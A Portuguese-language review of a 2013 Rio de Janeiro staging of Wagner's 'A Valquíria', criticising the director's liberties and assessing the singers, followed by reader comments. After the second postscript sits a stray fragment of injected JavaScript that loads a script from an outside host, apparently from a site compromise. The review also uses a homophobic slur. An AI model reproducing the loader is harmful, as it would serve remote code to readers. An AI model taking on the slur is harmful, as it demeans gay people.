CríticaÓpera

“A Valquíria” no TMRJ: música de Wagner e ação dramática de André Heller em sociedade com Wagner

A VALQUÍRIA levada à cena do TMRJ em 17/07/2013 foi um belo espetáculo, cheio de coisas boas, mas cabem algumas pitadas de pimenta, areia e vidro moído…

A apreciação de obras para o palco, inclusive e principalmente óperas e ballets, nos conduz algumas vezes a surpresas e antagonismos íntimos por vezes inexplicáveis. O posicionamento crítico deve ser elástico, maleável, e deve obrigatoriamente ter por base uma sinceridade moral, ética, e fundamentalmente artística. O crítico deverá manter-se fiel a seus princípios, mas por outro lado deverá reconhecer que a verdade absoluta não existe em nenhuma arte.

Aparentemente, somente  “obtusidade córnea ou má fé cínica”(1) poderiam explicar anteriores  declarações do cenógrafo e diretor de cena André Heller-Lopes (um nome francês, o outro saxônico e o outro ibérico. O Duque de Bedford, que morria de rir com nomes como Wilhelm  Nakashima ou Pierre McDonald, teria uma apoplexia…(2) ) de que não quer fazer como Wagner fazia. Diz ele pretensiosissimamente que quer ser diferente(3)  ao modificar, substituir, trocar e fantasiar o que Wagner estabelecia.

Pasmem os leitores (se os há…): um dos maiores gênios reformadores da arte musical e teatral que o mundo conheceu deixa pronta uma obra e  André  diz que quer ser diferente, quer ser mais “original”, mais efetivo, mais bonito. André medita e chega à conclusão de que pode ser mais que Wagner, pode “melhorar” e tornar mais expressivo o que fez, compôs, escreveu, desenhou e deixou explicado o pobre Richard, que, apesar de tudo, dorme sossegado nos jardins/quintais de Wahnfried. André acha que não é fraude vestir com longos e chiquíssimos vestidos de gala guerreiras cavaleiras que percorriam os céus em seus cavalos voadores conduzindo corpos de heróis mortos em combate. André entrou de sócio de A Valquíria com Wagner. São coisas como essa que entram para o folclore cômico da história: “aquele cara lá do Engenho Novo é o que queria ser um pintor considerado melhor que Da Vinci e mais importante que  Picasso.”

A obra de arte tem um dono, mesmo entrada no domínio público. Esse dono tem de ser respeitado e não ser afrontado por um  Mister So and So que não tem nem de leve o direito de riscar aquela pontezinha por detrás da Mona Lisa, ou entortar a meia lua sobre a qual a Immacolata de Murillo descansa os níveos pés. Não pode um ratinho de redação da Fayard   mudar o final do Othello, fazendo com que um mouro sorridente perdoe a conformada Desdêmona e lhe dê um novo anel nupcial, ante uma Emília em festa e Cassio como padrinho. Mais domesticamente falando, não pode um revisor de O Globo transformar Capitu em nobre exemplo de fidelidade, ou Iracema em macumbeira de terreiro de Marechal Hermes.

Desculpem o ataque de verborragia, mas alguém tem de pedir respeito à obra de arte alheia. Quando o diretor de cena  Lopes realiza um final de Crepúsculo dos Deuses com homens se beijando na boca, como ocorreu em 2012 em São Paulo, temos isto sim o crepúsculo das bichas do Largo do Arouche.

Essa “A Valquíria” de agora no TMRJ tem as oito valquírias transformadas de guerreiras a recolher heróis, vestidas como dondocas de longo de gala coloridos. A valquíria, a exemplo da Quinta Sinfonia, da Última Ceia, do Panteão de Atenas, da Divina Comédia, é um patrimônio artístico da humanidade, fora do alcance de um curioso qualquer. Se alguém dissesse “agora é assim, a Quinta não é bonita em dó menor, vou executá-la em si bemol maior e mudar a ordem dos movimentos” os governos e o mundo todo não permitiriam tal disparate e processariam o curioso, mantendo-o preso esperando o processo, bebendo óleo de rícino e tomando choque elétrico; se um tipo muda os  versos de Dante para “lasciate ogni moneta,o disgraziati” , vai logo responder pelo delito no Regina Coeli. Todos os sadios de mente e de alto QI têm a obra de arte como indene a interpretações, mudanças, adaptações. O autor disse tudo e basta. Transportar a ação do Rigoletto para o Brooklin é, mais que abuso, burrice.

Ma,s porém, contudo, todavia… (e aí é que entra a tal “sinceridade” do primeiro parágrafo) tudo que foi escrito aí em cima, apesar de exprimir o pensamento geral deste que escreve, foi contrariado em parte na noite em que demos de cara com essa A valquíria. Ela é diferente, cheia de liberdades, modificada nos seus aspectos originais ,e no entanto, é bonita, agradável de ser vista, satisfatória no respeito ao conteúdo fundamental da obra, com as personagens conservando o seu “quid”, a sua essência. A magnífica Sieglinde de Eiko Senda, o excelente Hunding de Sávio Sperândio, e o com restrições convincente Siegmund de  Zvetan Michailov já no primeiro ato nos deram a medida de que estávamos boiando no meio de um sonho, emoldurado por uma extraordinária música.

A música dessa A valquíria, não mexida (era só o que faltava…), foi sempre bem conduzida pelo experimentado regente Luiz Fernando Malheiro dirigindo a esplêndida OSTMRJ. O ponto mais fraco foi justamente o prelúdio do 1º ato, em que não se ouviu o principal: a movimentadíssima aliteração de ritmos, expostos de modo nada coerente pelos instrumentos, de maneira não simétrica.

Vejo com meus olhos, ouço com meus ouvidos e a mim pareceu faltar no todo uma certa cantabilidade (Winterstürme, Du bist der Lenz, Leb’ wohl du kühnes, Der Augen leuchtendes Paar)) nos trechos em que ela é mais necessária. Há climaxes dramáticos que, tratando-se de música de Wagner, são obrigatoriamente acompanhados de um clímax musical, e que não apareceram, como quando Siegmund arranca a espada do tronco e o tema da espada surge em todo seu esplendor. Esse clímax na ação dramática é substituído por fesceninas festinhas que Sieglinde faz na espada que aponta rígida para a frente.

Os solistas vocais merecem análise à parte. Este que escreve já cantou trechos de A valquíria em público, com piano, e conhece bem as dificuldades de alemães e principalmente de não  alemães na pele de Wotan e Cia. O alemão de intercourse Eliane Coelho acompanha sua nacionalidade austríaca e a toda hora resvala para o som de palavras e expressões idiomáticas escritas por Hoffmanstahl e Stefan Zweig. Mas foi uma voz tão ampla e de tão belo timbre, que foram poucos os muitíssimos aplausos a ela dirigidos, inclusive por este que tudo ouvira com atenção de sherloque. Bruenehilde tem lá as suas dificuldades, as óperas do Anel são longas e cansam a voz,  mas não é nenhuma Abigaille. Os profissionais sabem disso.  Aqui,Eliane saiu-se bem e cantou de modo robusto, redondo, sem apelar para soluções gritadas, ásperas, ácidas. Uma valquíria de bom porte.

Eiko Senda nos ofereceu sua mais bem sucedida atuação desde que a vemos no palco de ópera. Desta vez, não houve notas “calantes”, nem exagerado esforço. Eiko cantou muito bem e foi dramaticamente o que é Sieglinde: pura paixão amorosa e sensualidade. O barítono Lício Bruno, livre das masturbações do Rigoletto, rendeu bem, apesar das dificuldades depois de Leb wohl du kühnes e do final Durchreite das Feuer nie. O frequente contato com a personagem tem sido um bom trunfo para esse barítono. Sua voz, por nós acompanhada desde os primeiros tempos, atingiu agora a nosso ver um colorido definitivamente baritonal de belas demonstrações.  O tenor  Zvetan Michailov foi um Siegmund mal escalado,  sem a robustez vocal que se espera de um Wälsung. A Fricka de Denise de Freitas  foi bastante bem cantada e de ótimo aspecto visual. Boa cantora essa, a ser mais e melhor aproveitada em nossos teatros de ópera.

Ponto alto, vocalmente e visualmente falando, foram as valquírias do baile de gala, todas lindas de aspecto e ótimas de voz. Realmente, é muito luxo ter uma Magda Belotti, uma Maira Lautert, uma Marina Considera, uma Carolina Faria, uma Daniela Carvalho, uma Verushka Mainhard, uma Flávia Fernandes, uma Daniela Mesquita, como as oito valquírias de André Heller-Lopes. Esse grupo de artistas foi o núcleo  estelar do espetáculo e o que mais agradou ao público.

Cabe aqui mencionar, dada a evidência em que se encontra o nome de André Heller-Lopes , que há outros diretores de cena, cenógrafos, concebedores de ação no palco, criadores de expressão e de impressão, todos pela aí dando demonstrações de talento, criatividade e competência.  Fernando Bicudo, autor da direção de cena,cenografia e encenação mais bem sucedidas e modernas no Brasil , o Orfeu, de Glück, na base de iluminação e cenários com raios laser, em 1984 no TMRJ, realizou no Palácio das Artes de Belo Horizonte, há um mês, uma sensacional e aplaudidíssima edição da ópera moderna inédita norte-americana  Fedra e Hipólito, de Christopher Park, com total sucesso nacional de crítica e de público; Iacov Hillel dirigiu excelente Aida no TMRJ há pouco tempo, Carla Camurati dirigiu recentemente um novo Romeu e Julieta no TMRJ, Mauro Wrona dirigiu esplêndida Salomé em Belém do Pará, William Pereira dirigiu estupenda Olga em Brasília e em São Paulo, e muitos outros excelentes e experientes diretores de cena e cenógrafos se espalham por este país. Para não falar do esquecido Gerald Thomas.  Não é só Heller que tem o mapa da mina…

O dono de blog Ali Hassan Ayache informa que, em São Paulo, todo o pessoal da parte técnica de uma Aida que está por vir é estrangeiro. Ou seja, a direção do TMSP achou que aqui não há iluminadores, cenógrafos, maquiadores, figurinistas, arrastadores de caixotes, pintores, capazes. “Quis est homo qui non fleret ? “ (4)

A presente crítica não é um portento de racionalidade, de exemplo de uniformidade de pensamento, de firmeza de posição. Tomo uma posição, reclamo contra a defraudação, e depois digo que gostei, que foi bonito, e por aí. Mas as coisas com este que escreve são assim mesmo desde que ele acabou de escrever o dicionário português/marcus góes – marcus góes/português…

No final , a pergunta quebra-cabeças: pode ser muito bela a Immacolata de Zurbarán olhada de cabeça para baixo ?

1 – Eça de Queiroz.
2 – The Duke of Bedford’s Book of Snobs, 1965,v. Internet
3 – Imprensa brasileira, creio que Folha de São Paulo, por ocasião do Crepúsculo dos Deuses de 2012
4 – (Qual o homem que não chora). Palavras do Stabat Mater.

 

PS1. Aos menos informados, “immacolata” é o nome clássico de N. S. da Conceição,cujas imagens dos pintores espanhóis Murillo e Zurbarán se situam entre as mais famosas e bonitas. Vão lá conferir na Internet.
PS2: O terceiro ato foi visto em data diferente do 1º e 2º .s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; }

8 Comments

  1. Meu caro Marcus, há mesmo muitos outros diretores cênicos no Brasil. E bem melhores que esse daí… Jorge Takla, Iacov Hillel, Lívia Sabag (de grande sensibilidade artística) e outros mais. O desrespeito com datas, épocas e mesmo locais das cenas é uma característica de André Heller- Lopes. E aqui em São Paulo, já demonstrou isso em várias ocasiões; tudo muito barroco, confuso, inadequado, deslocado e anti-histórico. No mais acho que os solistas que você criticou, acredito que seu bom senso tenha muita verdade e adequação no que foi escrito.

  2. MARINA, RINDO ESTOU EU VENDO A NOSSA QUERIDA CESCHIATI DIVERTINDO-SE TANTO. CESCHIATI, ETA NOME ITALIANO LEGÍTIMO DE QUARENTA GERAÇÕES!! MARINA, AUGURI E FIGLI MASCHI !!! UN BACIO DA MARCUS GÓES.

  3. Quando vejo uma reprodução de “O Grito”, sinceramente não me interessa nem um pouco saber o que o Edvard Munch estava pensando ou sentindo na hora em que pintou aquela tela, nem em que circunstâncias aconteceu aquela pintura; se ele estava retratando alguém, quem era essa pessoa e por que razão se angustiava; ou então se o Munch estava com dor de dente, dor de ouvido, enxaqueca ou ouvindo as explosões de um bombardeio aéreo. Saber disso teria valor meramente informativo, mas não interfere em minha interpretação.

    Prefiro imaginar minhas próprias razões para aquela criatura no quadro estar angustiada, segurando aquele grito contido, e é esse o real valor de uma grande obra de arte: deixar-se aberta a interpretações, a construções de novos significados, a permitir-se uma “co-autoria” de sentido com o passar do tempo por parte de quem a vê em qualquer época, e não fechar-se na possibilidade única de um acontecimento factual, verídico, histórico ou biográfico. Que me interessa quem é a pessoa real que o Munch estava retratando? Aquele no quadro sou eu, é qualquer um de nós, e é nisso que Munch foi brilhante.

  4. Eu, sinceramente, não gosto dessas versões muito modificadas. Foi um pouco triste assistir ontem, não esperava ver um cenário “festa junina” em Valhalla, mas sabendo que isso é um perfil do André Heller-Lopes evitarei comparecer às produções dele, valquírias de longo, trajes modernos nos personagens, tacos de baseball, acho um pouco arrogante da parte dele fazer alterações tão grosseiras em uma obra de arte; e talvez seja até da minha parte em criticá-lo, mas não posso deixar minha sinceridade de lado também.

  5. CARO EDGAR, O GRITO É UM QUADRO, A VALQUÍRIA É MÚSICA E TEATRO. VOCÊ, BASEADO NOS SEUS CONCEITOS, MUDARIA TOTALMENTE A MÚSICA DA VALQUÍRIA E APRESENTARIA O RESULTADO COMO OBRA DE WAGNER? OU MUDARIA O TEATRO QUE WAGNER BOLOU PARA A VALQUÍRIA E APRESENTARIA O RESULTADO COMO OBRA DE WAGNER? LEIA A THAIS LOGO A SEGUIR. DIO, QUANTE PECCATA !!

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Marcus Góes
Musicólogo, crítico de música e dança e pesquisador. Tem livros publicados também no exterior. Considerado a maior autoridade mundial sobre Carlos Gomes.